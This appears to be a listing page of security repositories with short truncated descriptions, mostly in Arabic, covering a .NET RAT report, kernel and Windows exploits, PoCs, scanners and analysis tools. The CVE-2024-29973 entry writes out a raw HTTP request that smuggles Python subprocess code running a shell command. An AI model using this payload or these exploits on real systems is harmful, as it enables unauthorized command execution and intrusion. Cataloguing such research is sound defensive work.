DesckVB-RAT

DesckVB RAT v2.9 — موديولار .NET RAT، تسليم متعدد المراحل ونظام إضافات ربط سلسلة الأدوات بـ “Pjoao1578” المؤلف: ShadowOpCode X/Twitter: https://x.com/ShadowOpCode يرافق هذا المستودع تقريرًا تقنيًا كاملاً يوثق نظامًا بيئيًا نشطًا للبرامج الضارة يتمحور حول DesckVB RAT ، وهو حصان طروادة للوصول عن بُ...

dirtyclone-exploit

إطار عمل إكسبلويت DirtyClone CVE-2026-46331 — تصعيد امتيازات محلي في نواة لينكس فساد ذاكرة التخزين المؤقت للصفحات عبر TC pedit + IPsec TEE · النوى المتأثرة: ≤ 6.12.9 ╔═══════════════════════════════════════════════════════════════╗ ║ ║ ║ | \ | | / | | ║ ║ | | | | | '| | | | | | | |/ | ' \ / \ ║ ║...

CVE-2024-38063

CVE-2024-38063 - ثغرة تنفيذ التعليمات البرمجية عن بُعد في TCP/IP بنظام Windows. يمكن أن يؤدي حدوث BSOD إلى RCE بينما يتسبب كودي فقط في BSOD. أواصل تحليل التصحيح والاختبار للوصول إلى حدوث RCE في النظام المستهدف. تاريخ النجوم نظرة عامة CVE-2024-38063 هي ثغرة أمنية حرجة في حزمة TCP/IP بنظام Windows...

CVE-2024-29973

CVE-2024-29973 GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Language: en-US,en;q=0...

vuke

vuke Research tool for analyzing and reproducing vulnerable Bitcoin key generation. Features Modular architecture - pluggable sources and transforms Multiple input sources Numeric ranges test weak seeds Wordlists brainwallet analysis Timestamps time-based PRNG exploitation Stdin streaming pipelin...

vuke

vuke أداة بحث لتحليل وإعادة إنتاج توليد مفاتيح البيتكوين الضعيفة. الميزات هندسة معيارية - مصادر وتحويلات قابلة للإضافة مصادر إدخال متعددة نطاقات رقمية اختبار البذور الضعيفة قوائم كلمات تحليل محافظ الدماغ طوابع زمنية استغلال المولدات العشوائية الزمنية الإدخال القياسي التكامل مع خطوط الأنابيب...

heappy

🙂 Heappy: a happy heap editor Heappy is an editor based on gdb/gef that helps you to handle the heap during your exploitation development. The project should be considered a didactic tool useful to understand the evolution of the heap during the process life cycle. It has been created to simplify...

Exploits + Shellcode + GHDB

The Exploit Database Git Repository This is an official repository of The Exploit Database, a project sponsored by Offensive Security. Our repositories are: Exploits & Shellcodes: gitlab.com/exploit-database/exploitdb Binary Exploits: gitlab.com/exploit-database/exploitdb-bin-sploits Papers:...

Exploits + Shellcode + GHDB

مستودع The Exploit Database على Git هذا مستودع رسمي لـ The Exploit Database، وهو مشروع برعاية Offensive Security. مستودعاتنا هي: الاستغلالات وقنوات الـ Shellcodes: gitlab.com/exploit-database/exploitdb الاستغلالات الثنائية: gitlab.com/exploit-database/exploitdb-bin-sploits الأبحاث:...

Cloak

Cloak est un transport enfichable qui améliore les outils proxy traditionnels comme OpenVPN pour contourner la censure sophistiquée et la discrimination des données. Cloak n'est pas un programme proxy autonome. Il fonctionne en faisant passer le trafic proxyé pour des activités de navigation web...

exploit-CVE-2024-25723

استغلال ثغرة CVE-2024-25723 هذا المستودع مخصص لمعالجة ثغرة CVE-2024-25723، وهي ثغرة أمنية خطيرة في ZenML، مع تقديم إثبات مفهوم تعليمي PoC لتوضيح المشكلة وتشجيع التخفيف الفوري. يوضح PoC كيف يمكن لمستخدم غير مصرح له استغلال الثغرة للاستيلاء على أي حسابات ZenML. إثبات المفهوم PoC 1. ابدأ تشغيل خادم...

VivisectION

VivisectION : ensemble d'outils de rétro-ingénierie pilotée par émulation VivisectION est l'intersection de la rétro-ingénierie par interface graphique, de l'émulation et du débogage, avec un accent mis sur l'utilisation de l'émulation et d'autres outils puissants de Vivisect pour faciliter la...

CVE-2025-53772

CVE-2025-53772 - استغلال تنفيذ التعليمات البرمجية عن بُعد في Microsoft Web Deploy استغلال مكتوب بلغة بايثون لـ CVE-2025-53772، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد في Microsoft Web Deploy msdeploy ناتجة عن إلغاء تسلسل غير آمن لبيانات ترويسات HTTP. 🎬 فيديو الإثبات نظرة عامة على الثغرة الخاصية|...

PMapper

Principal Mapper Principal Mapper PMapper هي أداة برمجية ومكتبة لتحديد المخاطر في تكوين AWS Identity and Access Management IAM لحساب AWS أو مؤسسة AWS. تقوم بنمذجة مختلف مستخدمي IAM والأدوار في حساب كرسم بياني موجه، مما يتيح إجراء فحوصات لتصعيد الصلاحيات والمسارات البديلة التي قد يتخذها المهاجم...

CVE-2025-24799

Scanner SQLi CVE-2025-24799 Un scanner rapide de vulnérabilités par injection SQL, codé en Python. Il utilise la détection SQLi basée sur le temps avec multithreading et une sortie colorée, conçu pour tester les vulnérabilités CVE-2025-24799. Fonctionnalités Analyse des URL uniques ou de listes...

Hulios

Hulios نظام لينكس عالمي مُقوّى للإخفاء والتوجيه عبر البصل Onion Hulios هو بوابة VPN عبر Tor شفّافة للينكس مدعومة بـ eBPF. يؤمّن حركة المرور الصادرة من الشبكة عبر إعادة توجيه مقابس TCP واستعلامات DNS من خلال نسخة مدمجة من Arti عميل Tor وحلّال DNS محلي قائم على Hickory. ومن خلال العمل على مستوى مقا...

CVE-2025-48466

CVE-2025-48466 حقن حزم Modbus على Advantech WISE 4060LAN / بوابة إنترنت الأشياء للتحكم في الأبواب. انظر البرنامج النصي: main.py الملخص تمكنت من اكتشاف أنه من السهل جدًا التلاعب بخادم Modbus الذي يعمل على بوابة إنترنت الأشياء للتحكم في الأبواب على الشبكة. يمكن لأي مهاجم عن بُعد، حتى دون الوصول إلى...

Subhunter

Subhunter أداة سريعة لاستيلاء على النطاقات الفرعية الوصف: استيلاء النطاق الفرعي هو ثغرة أمنية شائعة تسمح للمهاجم بالسيطرة على نطاق فرعي من نطاق مستهدف وإعادة توجيه المستخدمين المقصودين لنطاق المؤسسة إلى موقع يقوم بأنشطة ضارة، مثل حملات التصيد، سرقة ملفات تعريف الارتباط للمستخدم، إلخ. تحدث عندما...

Vulnhalla

Vulnhalla تحليل CodeQL آلي مع تصنيف LLM للحصول على نظرة عامة مفصلة حول البحث والدافع وراء Vulnhalla، راجع مقالة مدونة CyberArk لبحوث التهديدات الرسمية: Vulnhalla: انتقاء الثغرات الحقيقية من كومة قش CodeQL Vulnhalla تؤتمت مسار تحليل الأمان الكامل: 1. جلب المستودعات للغة برمجة معينة من GitHub 2...

CVE-2026-96512

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-96512 CVE-2026-96512 sudo 1.9.13p3 Debian bookworm - Sudo Project I am @abraxasnull. Local lab, not HTTP. The client is CVE-2026-96512-Abraxas-Labs.py. NOTBEFORE / NOTAFTER timestamps without a trailing Z go...